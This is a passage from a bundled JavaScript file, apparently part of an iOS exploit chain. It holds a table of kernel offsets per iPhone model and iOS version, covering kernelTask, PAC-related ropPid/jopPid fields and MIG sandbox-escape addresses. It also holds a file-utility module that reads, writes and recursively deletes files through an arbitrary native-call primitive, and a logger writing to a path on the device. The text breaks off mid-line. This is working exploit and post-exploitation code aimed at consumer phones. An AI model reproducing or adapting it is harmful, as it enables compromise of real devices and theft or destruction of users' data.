{\n\t\t\t\t\tkernelTask: 0x921720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f2230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tmigLock: 0x3813d98n,\n\t\t\t\t\tmigSbxMsg: 0x3813db8n,\n\t\t\t\t\tmigKernelStackLR: 0x3163ae0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x382ffa8n,\n\t\t\t\t\tmigSbxMsg: 0x382ffc8n,\n\t\t\t\t\tmigKernelStackLR: 0x317ffa4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fd10n,\n\t\t\t\t\tmigLock: 0x3833fa8n,\n\t\t\t\t\tmigSbxMsg: 0x3833fc8n,\n\t\t\t\t\tmigKernelStackLR: 0x31852a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 14 Pro\n\t// iPhone 14 Pro Max\n\t// iPhone 15\n\t// iPhone 15 Plus\n\t\"iPhone15\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x914e00n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919238n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9215f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921640n\n\t\t\t\t},\n\t\t\t\t6.2: {\n\t\t\t\t\tkernelTask: 0x91d640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9ee150n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x168n,\n\t\t\t\t\tjopPid: 0x170n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2168n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67c18n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x448n,\n\t\t\t\t\tmigLock: 0x37863f8n,\n\t\t\t\t\tmigSbxMsg: 0x3786418n,\n\t\t\t\t\tmigKernelStackLR: 0x3131620n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fd00n,\n\t\t\t\t\tmigLock: 0x37a2788n,\n\t\t\t\t\tmigSbxMsg: 0x37a27a8n,\n\t\t\t\t\tmigKernelStackLR: 0x314dc24n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fe10n,\n \t\t\t\t\tguardExcCode: 0x340n,\n\t\t\t\t\ttaskThreads: 0x390n,\n \t\t\t\t\ttro: 0x398n,\n \t\t\t\t\tast: 0x3bcn,\n\t\t\t\t\tmutexData: 0x3c8n,\n\t\t\t\t\tctid: 0x450n,\n\t\t\t\t\tmigLock: 0x37aa708n,\n\t\t\t\t\tmigSbxMsg: 0x37aa728n,\n\t\t\t\t\tmigKernelStackLR: 0x3152ee0n\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"4\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x941238n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x949690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9495f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x949640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa2a150n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2a168n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3a598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa32598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xaa3c18n,\n\t\t\t\t\tmigLock: 0x38c5388n,\n\t\t\t\t\tmigSbxMsg: 0x38c53a8n,\n\t\t\t\t\tmigKernelStackLR: 0x325f1e0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa7d00n,\n\t\t\t\t\tmigLock: 0x38dd698n,\n\t\t\t\t\tmigSbxMsg: 0x38dd6b8n,\n\t\t\t\t\tmigKernelStackLR: 0x32777e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaabe10n,\n\t\t\t\t\tmigLock: 0x38e5618n,\n\t\t\t\t\tmigSbxMsg: 0x38e5638n,\n\t\t\t\t\tmigKernelStackLR: 0x3280aa0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x941238n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x949690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9495f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x949640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa2a150n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2a168n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3a598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa32598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xaa3c18n,\n\t\t\t\t\tmigLock: 0x38c5388n,\n\t\t\t\t\tmigSbxMsg: 0x38c53a8n,\n\t\t\t\t\tmigKernelStackLR: 0x325f1e0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa7d00n,\n\t\t\t\t\tmigLock: 0x38dd698n,\n\t\t\t\t\tmigSbxMsg: 0x38dd6b8n,\n\t\t\t\t\tmigKernelStackLR: 0x32777e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaabe10n,\n\t\t\t\t\tmigLock: 0x38e5618n,\n\t\t\t\t\tmigSbxMsg: 0x38e5638n,\n\t\t\t\t\tmigKernelStackLR: 0x3280aa0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 15 Pro\n\t// iPhone 15 Pro Max\n\t\"iPhone16\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0x140n,\n\t\t\t\t\tropPid: 0x1b0n,\n\t\t\t\t\tjopPid: 0x1b8n,\n\t\t\t\t\tguardExcCode: 0x380n,\n\t\t\t\t\ttaskThreads: 0x3c0n,\n\t\t\t\t\ttro: 0x3d0n,\n\t\t\t\t\tast: 0x3f4n,\n\t\t\t\t\tmutexData: 0x400n,\n\t\t\t\t\tctid: 0x480n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x978ef0n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x991eb0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\toptions: 0xc0n,\n\t\t\t\t\tguardExcCode: 0x388n,\n\t\t\t\t\ttaskThreads: 0x3c8n,\n\t\t\t\t\ttro: 0x3d8n,\n\t\t\t\t\tast: 0x3fcn,\n\t\t\t\t\tmutexData: 0x408n,\n\t\t\t\t\tctid: 0x488n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x99a308n,\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x99a268n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x99a2b8n\n\t\t\t\t},\n\t\t\t\t6.2: {\n\t\t\t\t\tkernelTask: 0x9962b8n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xaae870n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x388n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x490n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xaae888n,\n\t\t\t\t\ttaskThreads: 0x3d0n,\n\t\t\t\t\ttro: 0x3d8n,\n\t\t\t\t\tast: 0x3fcn,\n\t\t\t\t\tmutexData: 0x408n,\n\t\t\t\t\tctid: 0x488n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xab6cb8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xab2cb8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xb23d28n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x498n,\n\t\t\t\t\tmigLock: 0x3c03ef0n,\n\t\t\t\t\tmigSbxMsg: 0x3c03f10n,\n\t\t\t\t\tmigKernelStackLR: 0x3582fe0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xb2be10n,\n\t\t\t\t\tmigLock: 0x3c181a8n,\n\t\t\t\t\tmigSbxMsg: 0x3c181c8n,\n\t\t\t\t\tmigKernelStackLR: 0x35993a4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xb2ff20n,\n \t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t\tmigLock: 0x3c241a8n,\n\t\t\t\t\tmigSbxMsg: 0x3c241c8n,\n\t\t\t\t\tmigKernelStackLR: 0x35a26a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\t// iPhone 16\n\t// iPhone 16 plus\n\t// iPhone 16 pro\n\t// iPhone 16 pro max\n\t\"iPhone17\": {\n\t\t\"*\": {\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xb7e1c8n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xb7e1e0n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xb86610n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xb82610n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xc0fd80n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\tmigLock: 0x4042dc0n,\n\t\t\t\t\tmigSbxMsg: 0x4042de0n,\n\t\t\t\t\tmigKernelStackLR: 0x3912aa0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xc17e68n,\n\t\t\t\t\tmigLock: 0x405eff8n,\n\t\t\t\t\tmigSbxMsg: 0x405f018n,\n\t\t\t\t\tmigKernelStackLR: 0x392be64n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xc1bf78n,\n \t\t\t\t\tguardExcCode: 0x398n,\n\t\t\t\t\ttaskThreads: 0x3e8n,\n \t\t\t\t\ttro: 0x3f0n,\n\t\t\t\t\tast: 0x414n,\n\t\t\t\t\tmutexData: 0x420n,\n\t\t\t\t\tctid: 0x4b0n,\n\t\t\t\t\tmigLock: 0x4066f88n,\n\t\t\t\t\tmigSbxMsg: 0x4066fa8n,\n\t\t\t\t\tmigKernelStackLR: 0x39352e0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xb7e1c8n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xb7e1e0n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xb86610n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xb82610n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xc0fd80n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\tmigLock: 0x408acd0n,\n\t\t\t\t\tmigSbxMsg: 0x408acf0n,\n\t\t\t\t\tmigKernelStackLR: 0x396e4a0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xc17e68n,\n\t\t\t\t\tmigLock: 0x40a6f08n,\n\t\t\t\t\tmigSbxMsg: 0x40a6f28n,\n\t\t\t\t\tmigKernelStackLR: 0x3987924n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xc1ff78n,\n\t\t\t\t\tguardExcCode: 0x398n,\n\t\t\t\t\ttaskThreads: 0x3e8n,\n\t\t\t\t\ttro: 0x3f0n,\n\t\t\t\t\tast: 0x414n,\n\t\t\t\t\tmutexData: 0x420n,\n\t\t\t\t\tctid: 0x4b0n,\n\t\t\t\t\tmigLock: 0x40b6e98n,\n\t\t\t\t\tmigSbxMsg: 0x40b6eb8n,\n\t\t\t\t\tmigKernelStackLR: 0x3998de0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/FileUtils.js\":\n/*!***************************************!*\\\n !*** ./src/libs/JSUtils/FileUtils.js ***!\n \\***************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ FileUtils)\n/* harmony export */ });\n\n\nconst TAG = \"FILE-UTILS\";\n\nconst O_RDONLY\t= 0x0000;\nconst O_WRONLY\t= 0x0001;\nconst O_RDWR\t= 0x0002;\nconst O_APPEND = 0x0008;\nconst O_CREAT\t= 0x0200;\nconst O_TRUNC\t= 0x0400;\nconst O_EVTONLY\t= 0x8000;\n\nconst ERROR\t\t= -1;\n\nconst DT = {\n\tDT_UNKNOWN: 0,\n\tDT_FIFO: 1,\n\tDT_CHR: 2,\n\tDT_DIR: 4,\n\tDT_BLK: 6,\n\tDT_REG: 8,\n\tDT_LNK: 10,\n\tDT_SOCK: 12,\n\tDT_WHT: 14\n};\n\nconst SEEK_SET = 0;\n\nclass FileUtils {\n\n\n\tstatic open(path) {\n\t\tconst fd = Native.callSymbol(\"open\", path, O_RDONLY);\n\t\tif (fd == ERROR) {\n\t\t\tconsole.log(TAG, \"Unable to open: \" + path);\n\t\t\treturn false;\n\t\t}\n\t\treturn fd;\n\t}\n\n\tstatic close(fd) {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\n\tstatic read(fd, size=0) {\n\t\tif (!size || size > Native.memSize)\n\t\t\tsize = Native.memSize;\n\t\tconst len = Native.callSymbol(\"read\", fd, Native.mem, size);\n\t\tif (!len || len == ERROR)\n\t\t\treturn false;\n\t\tconst buff = Native.read(Native.mem, len);\n\t\treturn buff;\n\t}\n\n\tstatic readFile(path, seek=0, length=0) {\n\t\tconst fd = this.open(path);\n\t\tif (fd === false)\n\t\t\treturn null;\n\n\t\tlet data = new Uint8Array();\n\n\t\tif (seek)\n\t\t\tNative.callSymbol(\"lseek\", fd, seek, SEEK_SET);\n\n\t\tlet remaining = length;\n\n\t\twhile (true) {\n\t\t\tlet size = remaining ? remaining : Native.memSize;\n\t\t\tif (size > Native.memSize)\n\t\t\t\tsize = Native.memSize;\n\t\t\tconst buff = this.read(fd, size);\n\t\t\tif (buff === false)\n\t\t\t\tbreak;\n\t\t\tconst buff8 = new Uint8Array(buff);\n\t\t\tlet newData = new Uint8Array(data.length + buff8.length);\n\t\t\tnewData.set(data, 0);\n\t\t\tnewData.set(buff8, data.length);\n\t\t\tdata = newData;\n\n\t\t\tif (remaining) {\n\t\t\t\tremaining -= buff.byteLength;\n\t\t\t\tif (!remaining)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tthis.close(fd);\n\n\t\treturn data.buffer;\n\t}\n\n\tstatic writeFile(path, data) {\n\t\treturn this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_TRUNC);\n\t}\n\n\tstatic appendFile(path, data) {\n\t\treturn this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_APPEND);\n\t}\n\n\tstatic deleteFile(path) {\n\t\tNative.callSymbol(\"unlink\", path);\n\t}\n\tstatic foreachDir(path, func) {\n\t\tlet dir = Native.callSymbol(\"opendir\", path);\n\t\tif (!dir) {\n\t\t\tconsole.log(TAG, \"Unable to open dir: \" + path);\n\t\t\treturn;\n\t\t}\n\n\t\twhile (true) {\n\t\t\tlet item = this.#readdir(dir);\n\t\t\tif (!item)\n\t\t\t\tbreak;\n\n\t\t\tswitch (item.d_type) {\n\t\t\t\tcase DT.DT_DIR:\n\t\t\t\t\tif (item.d_name.startsWith(\".\"))\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tfunc(item.d_name);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tNative.callSymbol(\"closedir\", dir);\n\t}\n\n\tstatic foreachFile(path, func) {\n\t\tlet dir = Native.callSymbol(\"opendir\", path);\n\t\tif (!dir) {\n\t\t\tconsole.log(TAG, \"Unable to open dir: \" + path);\n\t\t\treturn false;\n\t\t}\n\n\t\twhile (true) {\n\t\t\tlet item = this.#readdir(dir);\n\t\t\tif (!item)\n\t\t\t\tbreak;\n\n\t\t\tswitch (item.d_type) {\n\t\t\t\tcase DT.DT_REG:\n\t\t\t\t\tfunc(item.d_name);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tNative.callSymbol(\"closedir\", dir);\n\t\treturn true;\n\t}\n\n\tstatic createDir(path, permission=0o755) {\n\t\treturn !Native.callSymbol(\"mkdir\", path, permission);\n\t}\n\n\tstatic deleteDir(path, recursive=false) {\n\t\tif (recursive) {\n\t\t\tconst dir = Native.callSymbol(\"opendir\", path);\n\t\t\tif (!dir) {\n\t\t\t\tconsole.log(TAG, \"deleteDir: Unable to open dir: \" + path);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\twhile (true) {\n\t\t\t\tconst item = this.#readdir(dir);\n\t\t\t\tif (!item)\n\t\t\t\t\tbreak;\n\n\t\t\t\tconst newPath = path + '/' + item.d_name;\n\n\t\t\t\tswitch (item.d_type) {\n\t\t\t\t\tcase DT.DT_DIR:\n\t\t\t\t\t\tif (item.d_name.startsWith(\".\"))\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tthis.deleteDir(newPath, true);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase DT.DT_REG:\n\t\t\t\t\t\tconsole.log(TAG, `deleting: ${newPath}`);\n\t\t\t\t\t\tthis.deleteFile(newPath);\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"closedir\", dir);\n\t\t}\n\n\t\treturn !Native.callSymbol(\"rmdir\", path);\n\t}\n\n\tstatic exists(path, permission=0/*F_OK*/) {\n\t\treturn !Native.callSymbol(\"access\", path, permission);\n\t}\n\n\tstatic stat(path) {\n\t\tconst ret = Native.callSymbol(\"stat\", path, Native.mem);\n\t\tif (ret == ERROR)\n\t\t\treturn null;\n\t\tconst buff = Native.read(Native.mem, 144);\n\t\tconst view = new DataView(buff);\n\n\t\tconst dev = view.getInt32(0, true);\n\t\tconst mode = view.getUint16(0x4, true);\n\t\tconst nlink = view.getUint16(0x6, true);\n\t\tconst ino = view.getBigUint64(0x8, true);\n\t\tconst uid = view.getUint32(0x10, true);\n\t\tconst gid = view.getUint32(0x14, true);\n\t\tconst atime_tv_sec = view.getBigInt64(0x20, true);\n\t\tconst mtime_tv_sec = view.getBigInt64(0x30, true);\n\t\tconst ctime_tv_sec = view.getBigInt64(0x40, true);\n\t\tconst size = view.getBigInt64(0x60, true);\n\n\t\treturn {\n\t\t\tmode: Number(mode),\n\t\t\tino: Number(ino),\n\t\t\tdev: Number(dev),\n\t\t\tnlink: Number(nlink),\n\t\t\tuid: Number(uid),\n\t\t\tgid: Number(gid),\n\t\t\tsize: Number(size),\n\t\t\tatime: Number(atime_tv_sec),\n\t\t\tmtime: Number(mtime_tv_sec),\n\t\t\tctime: Number(ctime_tv_sec)\n\t\t};\n\t}\n\n\tstatic #readdir(dir) {\n\t\tconst itemPtr = Native.callSymbol(\"readdir\", dir);\n\t\tif (!itemPtr)\n\t\t\treturn null;\n\n\t\tconst item = Native.read(itemPtr, 24);\n\t\tconst view = new DataView(item);\n\n\t\tconst d_ino = view.getBigUint64(0, true);\n\t\tconst d_namlen = view.getUint16(18, true);\n\t\tconst d_type = view.getUint8(20);\n\t\tconst d_name = Native.readString(itemPtr + 21n, d_namlen + 1);\n\n\t\treturn {\n\t\t\td_ino: d_ino,\n\t\t\td_type: d_type,\n\t\t\td_name: d_name\n\t\t};\n\t}\n\n\tstatic #commonWriteFile(path, data, flags) {\n\t\tconst fd = Native.callSymbol(\"open\", path, flags, 0o644);\n\t\tif (fd == ERROR) {\n\t\t\tconsole.log(TAG, \"Unable to open: \" + path);\n\t\t\treturn false;\n\t\t}\n\n\t\t// For some reason file mode is not applied on open()\n\t\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\t\tlet offs = 0;\n\t\tlet left = data.byteLength;\n\n\t\tconst buffSize = 0x4000;\n\t\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\t\twhile (true) {\n\t\t\tconst size = left > buffSize ? buffSize : left;\n\t\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\t\tconst dst8 = new Uint8Array(src8);\n\t\t\tNative.write(buffPtr, dst8.buffer);\n\t\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\t\tif (!len || len == ERROR)\n\t\t\t\tbreak;\n\t\t\toffs += len;\n\t\t\tleft -= len;\n\t\t\tif (!left)\n\t\t\t\tbreak;\n\t\t}\n\n\t\tNative.callSymbol(\"free\", buffPtr);\n\t\tNative.callSymbol(\"close\", fd);\n\n\t\treturn true;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/Logger.js\":\n/*!************************************!*\\\n !*** ./src/libs/JSUtils/Logger.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Logger)\n/* harmony export */ });\n/* harmony import */ var _FileUtils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./FileUtils */ \"./src/libs/JSUtils/FileUtils.js\");\n/* harmony import */ var _Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\nclass Logger {\n\n\tstatic #logging = false;\n\tstatic #logfile = \"/private/var/mobile/Media/PostLogs.txt\";\n\n\tstatic {\n\t\t//LOG(\"Log file: \" + 